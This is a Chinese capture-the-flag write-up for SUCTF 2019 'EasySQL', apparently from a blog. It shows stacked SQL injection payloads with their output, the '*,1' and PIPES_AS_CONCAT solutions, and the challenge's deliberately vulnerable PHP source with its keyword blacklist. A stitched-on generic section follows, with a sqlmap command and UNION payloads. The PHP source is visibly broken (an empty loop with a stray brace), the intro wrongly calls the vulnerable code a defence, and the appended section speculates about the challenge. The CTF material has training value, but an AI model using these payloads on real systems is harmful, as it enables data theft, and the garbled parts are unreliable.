[SUCTF 2019]EasySQL

本文介绍了SQL注入的识别与绕过WAF的方法,包括利用'or '1'='1测试注入,并展示了堆叠注入的实战过程,如查询数据库名、表名。还提到了另一种解题策略——操作符重置法,通过setsql_mode=PIPES_AS_CONCAT改变||的运算行为。文章以一段PHP代码为例,展示了如何防范SQL注入攻击。

0x01 思路

根据题目名称判断为 SQL 注入
测试’ or ‘1’='1 发现存在waf。
考虑进行堆叠注入

query=1;select database();#

Array
(
    [0] => 1
)
Array
(
    [0] => ctf
)

query=1;use ctf;show tables;#

Array
(
    [0] => 1
)
Array
(
    [0] => Flag
)

0x02 flag

使用*,1放入查询语句,即可获得 flag
在这里插入图片描述

flag{9f2a1836-e5b6-4122-99ef-ea81bd34b293}

除此之外,还有另外一种解题方法,即“操作符重置法”
使用set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符。

0x03 题目源代码

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

?>
SUCTF 2019 比赛中,`EasySQL` 是一道与 SQL 注入相关的 CTF 题目,通常涉及对 SQL 注入漏洞的识别和利用。该题目可能设计为让参赛者通过构造特定的 SQL 查询语句来绕过验证逻辑,从而获取数据库中的敏感信息,例如 flag。 ### 题目分析 该题目可能要求参赛者对 SQL 注入漏洞有深入的理解,例如如何利用 `UNION` 查询、盲注(Blind SQL Injection)或堆叠注入(Stacked Queries)等技术。根据题目名称 `EasySQL` 的提示,这道题可能设计为一个较为基础的 SQL 注入挑战,适合初学者练习 SQL 注入的基本技巧[^1]。 ### 解题思路 解题过程中,参赛者通常需要通过尝试不同的输入来观察服务器的响应,从而判断是否存在 SQL 注入漏洞。例如,通过输入 `' OR '1'='1` 或者类似的构造,观察是否能够绕过登录验证或获取额外信息。如果服务器返回了异常信息或与正常情况不同的结果,则可能表明存在 SQL 注入漏洞。 进一步,可以利用工具如 `sqlmap` 自动化检测和利用 SQL 注入漏洞。例如,通过以下命令扫描目标 URL: ```bash sqlmap -u "http://example.com/vulnerable_page?id=1" --batch --risk=3 --level=5 ``` 此命令会自动检测并尝试利用所有可能的 SQL 注入向量,帮助快速定位漏洞点[^1]。 ### 手动注入示例 在某些情况下,自动化工具可能无法直接利用漏洞,此时需要手动构造 SQL 注入语句。例如,假设目标页面存在基于 `UNION` 的 SQL 注入漏洞,可以通过以下步骤获取数据库信息: 1. 确定列数:通过输入 `' ORDER BY 1-- ` 逐步增加数字,直到出现错误,从而确定查询的列数。 2. 使用 `UNION SELECT` 获取信息:例如,输入 `' UNION SELECT 1,2,database()-- ` 获取当前数据库名称。 3. 提取 flag:通过类似 `' UNION SELECT 1,2,flag FROM flag_table-- ` 的语句获取 flag 内容。 ### 漏洞防御 为了防止 SQL 注入攻击,开发者应采用参数化查询(Prepared Statements)或 ORM 框架,避免直接拼接 SQL 语句。此外,对用户输入进行严格的验证和过滤也是必要的安全措施。 ### 学习资源 为了更好地掌握 SQL 注入技术,可以参考以下资源进行学习: 1. **sqli-labs**:这是一个专门用于练习 SQL 注入的实验环境,包含多个难度不同的关卡,适合初学者逐步提升技能。 2. **sqlmap**:作为一款开源的 SQL 注入工具,它不仅可以用于实战演练,还可以通过阅读其源码了解 SQL 注入的底层原理和实现方式。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值